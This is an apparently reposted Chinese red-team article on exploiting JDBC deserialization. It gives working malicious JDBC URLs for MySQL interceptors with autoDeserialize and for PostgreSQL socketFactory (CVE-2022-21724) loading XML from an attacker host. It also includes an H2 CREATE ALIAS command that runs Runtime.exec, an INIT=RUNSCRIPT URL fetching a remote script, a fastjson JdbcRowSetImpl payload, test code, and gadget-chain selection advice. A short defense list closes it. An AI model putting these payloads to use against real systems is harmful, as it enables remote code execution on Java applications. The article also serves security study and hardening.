JDBC反序列化如何在实战中进行决策以及利用

admin 2026-08-27 06:06:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了JDBC反序列化在实战中的利用场景与攻击链。核心前置条件是攻击者能控制JDBCURL,常见入口包括fastjsonautoType、配置注入及框架参数透传。攻击分为两段:第一段通过驱动反序列化投递payload,第二段依赖gadget链实现RCE。文章具体介绍了MySQL和PostgreSQL驱动的利用方法,包括版本差异、参数配置及触发逻辑,并提供了测试代码示例。 综合评分: 89 文章分类: 渗透测试,漏洞分析,红队,内网渗透,WEB安全


JDBC反序列化如何在实战中进行决策以及利用

原创

苦艾印图 苦艾印图

苦艾印图

2026年8月25日 11:15 青海

在小说阅读器读本章

去阅读

1. 利用场景总览

1.1 什么时候用(攻击场景定位)

JDBC 反序列化的核心前置条件是:攻击者能控制传给 DriverManager.getConnection() / DataSource 的 JDBC URL(connection string)。出现这种情况的典型入口:

| 入口 | 说明 | | — | — | | fastjson autoType | 最经典。@type 指定 JdbcRowSetImpldataSourceName 可控即等于 JDBC URL 可控 | | 配置注入 | application.yml 、Druid/Nacos 配置、SnakeYAML、Spring Boot 配置解析点被控制 | | 框架自带 JDBC URL 参数透传 | 一些工具/框架允许用户填”数据库连接”字段,未过滤 |

1.2 其他数据源可被控制的场景

| 类别 | 场景 | | — | — | | 反序列化入口 | fastjson JdbcRowSetImpl(最经典)、Jackson polymorphic、XStream/hessian/kryo(dataSourceName 可控) | | 配置注入 | Spring application.yml/application.properties、Spring Cloud Config / Nacos / Apollo、Druid connection-properties、SnakeYAML、SpEL/EL | | 框架透传 | Spring Boot DataSource、MyBatis/MyBatis-Plus 动态数据源、ShardingSphere dataSource.url、HikariCP/Druid jdbcUrl、JDBC URL 参数 & 注入 | | 其他驱动 | H2 Console(8082)、PostgreSQL socketFactory/sslfactory |


2. 攻击链

2.1 完整结构

┌────────── 第一段:JDBC 反序列化(投递通道)──────────┐│  URL 参数 → 驱动反序列化 readObject() → 读出字节对象  │└────────── 第二段:gadget 链(真正的炸药)────────────┘   readObject() 读出的对象 → 触发 gadget 链(CC/CB/URLDNS...)   → Runtime.exec() / JNDI / DNS 探测 → RCE

第一段是”通道”,第二段才是”炸药”。JDBC 反序列化只保证”有字节被 readObject()“,能否变成 RCE 全看第二段的 gadget 链 + JDK/classpath 环境。

完整攻击条件叠加:

① URL 可控(数据源配置被控 / 参数注入)② 驱动版本匹配(MySQL 5.1.x 或 8.0.x 参数对 / PG 见 2.2.4 节版本差异)③ 恶意 server 返回 AC ED 00 05 BLOB payload④ classpath 有可用的 gadget 链(CC3.x / CB / 纯 JDK)⑤ JDK 版本不影响 JNDI 链(≥8u191 时 JNDI 失效,靠本地 gadget)⑥ 命令能执行且能被观察到(出网/回显)

缺一个,链路就断。

2.2 数据源配置

MySQL  —— interceptor 触发链路

// 5.1.x 写法:statementInterceptorsjdbc:mysql://attacker:3306/db?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
// 8.0.x 写法:queryInterceptors(包名/接口全变)jdbc:mysql://attacker:3306/db?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
连接建立 → 执行任意 SQL(驱动初始化自带 SELECT @@session...)  → preProcess(): 先 SHOW SESSION STATUS 存 preExecuteValues  → SQL 执行  → postProcess(): 再 SHOW SESSION STATUS 存 postExecuteValues  → 逐行 rs.getObject(2) 拿第二列(Variable_value)      → 值以 AC ED 00 05 开头 且 autoDeserialize=true      → ObjectInputStream.readObject()  ← 反序列化点

源码依据:

  • 5.1.47 ServerStatusDiffInterceptor.postProcess → Util.resultSetToMap → rs.getObject(2)
  • 8.0.13 ResultSetImpl.getObject() 反序列化分支(BLOB/VARBINARY 类型):
  case BINARY: case VARBINARY: case TINYBLOB: case MEDIUMBLOB: case LONGBLOB: case BLOB:    if (field.isBinary() || field.isBlob()) {        if (autoDeserialize) {            if (data[0]==0xAC && data[1]==0xED) {   // 魔数检测                ObjectInputStream objIn = new ObjectInputStream(...);                objIn.readObject();                  // ← 反序列化点

MySQL JDBC

| 驱动版本 | interceptor 类名 | URL 参数名 | 反序列化落点 | | — | — | — | — | | 5.1.x | com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor | statementInterceptors | getObjectDeserializingIfNeeded (对 VARCHAR 也反序列化) | | 8.0.0~8.0.32 | com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor | queryInterceptors | ResultSetImpl switch 里 VARCHAR 走 getString,只有 BLOB 才反序列化 | | 8.0.33 | 类仍存在(src/main/user-impl) | queryInterceptors | 同 8.0.x,需显式配置 + BLOB 列 |

  • MySQL 服务端版本完全无关

    :驱动只读握手包里的版本字符串,恶意 server 声明 5.7.16 即可绕过 versionMeetsMinimum(5,0,2)(5.1.47 MysqlIO.java:1054)。

  • 服务端返回格式是硬条件

    SHOW SESSION STATUS 第二列必须声明为 BLOB/VARBINARYfield.isBinary()||isBlob() 为 true),payload 字节以 AC ED 开头;若声明为 VARCHAR → 驱动 getString() 直接返回,不反序列化

依赖:

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<!-- 仅用于演示"数据源配置里的 JDBC URL 写法",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;目标驱动版本决定了 URL 里的参数名(statementInterceptors vs queryInterceptors) -->&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<dependency>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<groupId>mysql</groupId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<artifactId>mysql-connector-java</artifactId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<version>8.0.19</version>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</dependency>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<dependency>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<groupId>commons-collections</groupId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<artifactId>commons-collections</artifactId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<version>3.2.1</version>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</dependency>

测试:

import&nbsp;java.sql.*;public&nbsp;class&nbsp;Main&nbsp;{&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;throws&nbsp;Exception {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;url&nbsp;=&nbsp;"jdbc:mysql://127.0.0.1:61071/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc";&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Class.forName("com.mysql.jdbc.Driver");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DriverManager.getConnection(url);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }}

payload:

jdbc:mysql://127.0.0.1:12821/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc

利用工具-fake-mysql-gui-0.0.4.jar

#

PostgreSQL JDBC(CVE-2022-21724)

触发链(本地复现代码实际走的这条)

恶意&nbsp;JDBC&nbsp;URL:&nbsp;&nbsp;jdbc:postgresql://127.0.0.1:34432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://attacker/poc.xml&nbsp; &nbsp; &nbsp; &nbsp; │&nbsp; &nbsp; &nbsp; &nbsp; ▼DriverManager.getConnection(url)&nbsp; →&nbsp;SocketFactoryFactory.getSocketFactory(Properties) &nbsp; &nbsp; &nbsp;# 读取 socketFactory / socketFactoryArg&nbsp; →&nbsp;ObjectFactory.instantiate(classname, info, tryString=true, stringarg=socketFactoryArg)&nbsp; &nbsp; &nbsp; →&nbsp;Class.forName("org.springframework.context.support.ClassPathXmlApplicationContext")&nbsp; &nbsp; &nbsp; → 构造器三选一: (Properties) → (String) → 无参 &nbsp; &nbsp; &nbsp;&nbsp;# 找到 (String) 构造器&nbsp; &nbsp; &nbsp; → ctor.newInstance("http://attacker/poc.xml") &nbsp; &nbsp; &nbsp;&nbsp;# 执行构造函数&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; →&nbsp;ClassPathXmlApplicationContext(String) 内部加载远程&nbsp;XML&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; →&nbsp;XML&nbsp;里 <bean> 定义(如&nbsp;ProcessBuilder&nbsp;+ init-method) 被&nbsp;Spring&nbsp;解析&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; → 触发命令执行 →&nbsp;RCE&nbsp;✅

其他注意:

  • classpath 必须有 spring-context

    ClassPathXmlApplicationContext);

  • 参数名大小写敏感(socketFactory/socketFactoryArg);

  • 实例化发生在连接建立阶段(ConnectionFactoryImpl.tryConnect),不需要真正连上 PG 服务端(恶意 XML 是否可达即可)。

依赖:

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<!-- PostgreSQL JDBC 驱动(连接测试用) -->&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<dependency>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<groupId>org.postgresql</groupId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<artifactId>postgresql</artifactId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<version>42.2.24</version>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</dependency>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<!-- spring-context:ClassPathXmlApplicationContext 所在库(CVE-2022-21724 的 RCE 载体) -->&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<dependency>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<groupId>org.springframework</groupId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<artifactId>spring-context</artifactId>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<version>5.3.20</version>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</dependency>

测试:

public&nbsp;class&nbsp;PostgresDataSourceDemo&nbsp;{
&nbsp; &nbsp;&nbsp;/**&nbsp; &nbsp; &nbsp;* 恶意 JDBC URL —— 模拟攻击者在数据源配置里填的值。&nbsp; &nbsp; &nbsp;* socketFactoryArg 需指向攻击者托管的 poc.xml&nbsp; &nbsp; &nbsp;*/&nbsp; &nbsp;&nbsp;private&nbsp;static&nbsp;final String MALICIOUS_URL =&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"jdbc:postgresql://127.0.0.1:18851/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:18851/pSCenFFo.xml";
&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[]&nbsp;args) throws Exception&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; System.out.println("[*] 模拟攻击者控制数据源配置 -> 触发 PostgreSQL 连接");
&nbsp; &nbsp; &nbsp; &nbsp; String url = (args.length >&nbsp;0&nbsp;&& !args[0].isEmpty()) ?&nbsp;args[0] : MALICIOUS_URL;&nbsp; &nbsp; &nbsp; &nbsp; System.out.println("[*] 填入恶意 dataSourceName:");&nbsp; &nbsp; &nbsp; &nbsp; System.out.println(" &nbsp; &nbsp;"&nbsp;+ url);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Class.forName("org.postgresql.Driver");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DriverManager.getConnection(url);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println("[!] 连接成功");&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println("[!] 连接异常(预期内:未托管远程 XML / 无 spring-context / 无 PG server):");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }}

H2

H2 是纯 Java 嵌入式关系型数据库(内存/文件模式,jdbc:h2:mem:test),SQL 图灵完备。三类利用:

-- ① CREATE ALIAS 直接执行(代码执行,非反序列化)CREATE&nbsp;ALIAS IF&nbsp;NOT&nbsp;EXISTS&nbsp;SHELLEXEC&nbsp;AS'String shellexec(String cmd) throws java.io.IOException { java.lang.Runtime.getRuntime().exec(cmd); return ""; }';CALL&nbsp;SHELLEXEC('calc');
-- ② INIT=RUNSCRIPT 远程脚本jdbc:h2:mem:test;INIT=RUNSCRIPT&nbsp;FROM&nbsp;'http://attacker/poc.sql'

| 维度 | MySQL/PG | H2 | | — | — | — | | 本质 | 反序列化(驱动 readObject) | 代码执行(ALIAS)/ JNDI | | 触发前提 | URL 可控 + 恶意 server | URL 可控 + 能提交 SQL,或 H2 Console 开放 | | 常见入口 | fastjson JdbcRowSetImpl、Druid | H2 Console(8082)、Spring 配置注入 |

2.3 攻击动作

恶意 MySQL server(Python 骨架)

协议 4 要点(对应源码):

  1. 握手版本 ≥ 5.0.2(versionMeetsMinimum(5,0,2) 硬门槛,写 5.7.16);
  2. 连接后驱动自带初始化查询会触发 interceptor(SELECT @@session.auto_increment_increment);
  3. 响应 SHOW SESSION STATUS 时第二列 Variable_value 必须声明 BLOB/VARBINARY
  4. 行数据里放 ysoserial 字节(AC ED 00 05 开头)。

投递 payload

fastjson 版

{&nbsp;&nbsp;"@type":&nbsp;"com.sun.rowset.JdbcRowSetImpl",&nbsp;&nbsp;"dataSourceName":&nbsp;"jdbc:mysql://attacker:3306/db?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",&nbsp;&nbsp;"autoCommit":&nbsp;true}

Spring 配置版

spring:&nbsp; datasource:&nbsp; &nbsp; driver-class-name: com.mysql.jdbc.Driver&nbsp; &nbsp; url: jdbc:mysql://attacker:3306/db?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

纯 JDBC 客户端(本地复现用,模拟 数据源配置)

String&nbsp;url =&nbsp;"jdbc:mysql://127.0.0.1:61071/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc";Class.forName("com.mysql.jdbc.Driver");DriverManager.getConnection(url);

#

3. 与 JDK / gadget 链关系

3.1 为什么”JDK 版本挂钩” —— 三个层面

  1. gadget 链依赖 JDK 内部类

    :CC/CB 中转依赖第三方库,但终点往往要 JDK 的 Runtime 等;纯 JDK 链(URLDNS)只靠 JDK 内置类,也受 JDK 版本影响(类增删/行为变化)。

  2. JDK 9+ / 8u191+ 引入 ObjectInputFilter

    :可设反序列化黑白名单(默认不启用,需显式 setObjectInputFilter)。

  3. JNDI 注入受 JDK 版本严格限制

    (最直接体现):

| JDK 版本 | JNDI 注入能力 | | — | — | | < 8u191 / < 7u201 / < 6u211 | 远程加载 class(LDAP/RMI 返回远程恶意类)→ RCE | | ≥ 8u191 / ≥ 7u201 / ≥ 6u211 | 远程加载 class 被禁用(com.sun.jndi.ldap.object.trustURLCodebase=false)→ 只能靠”返回反序列化对象 + 本地 gadget” |

3.2 常见 gadget 链选择(取决于目标 classpath)

| Gadget 链 | 需要的库 | 触发终点 | 备注 | | — | — | — | — | | CC1 | commons-collections 3.x | InvokerTransformer → Runtime.exec | 经典 | | CC6 | commons-collections 3.x | LazyMapInvokerTransformer | 最常用(稳定) | | CC4 | commons-collections 4.x | TiedMapEntryInvokerTransformer | 4.x 专属 | | CB1 | commons-beanutils + commons-collections 3.1+ | BeanComparator → Runtime.exec | 很多框架自带 CB | | URLDNS | 纯 JDK | java.net.URL.hashCode → DNS 探测 | 无第三方依赖,只能探测不能直接 RCE | | JNDI | 纯 JDK | InitialContext.lookup → 远程类/反序列化 | 受 JDK 版本限制 |

实战判断

  • 目标 classpath 有 commons-collections 3.x → CC6
  • 有 commons-beanutils(Spring 全家桶基本都有)→ CB1
  • 纯 JDK 环境(无第三方库)→ 只能 URLDNS(探测) 或 JNDI(受版本限制);
  • 反序列化时 readObject() 遇到 gadget 类不在 classpath → ClassNotFoundException(链路断)。

4. 防御建议

  1. URL 参数白名单

    :封装 JDBC 连接层,禁止用户参数覆盖 autoDeserializequeryInterceptorsstatementInterceptorssocketFactorysslfactorydetectCustomCollations 等危险项。

  2. fastjson

    :升级 ≥ 1.2.83(或换 fastjson2),默认关 autoType,绝不全局开启 autoTypeSupport

  3. 数据库端口出网管控

    :限制 DB 端口到外部的连接(削弱”恶意 server”前提)。

  4. JDK 升级 ≥ 8u191

    并移除本地可用的危险 gadget 库(commons-collections 等)。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:苦艾印图 苦艾印图 苦艾印图《JDBC反序列化如何在实战中进行决策以及利用》

评论:0   参与:  0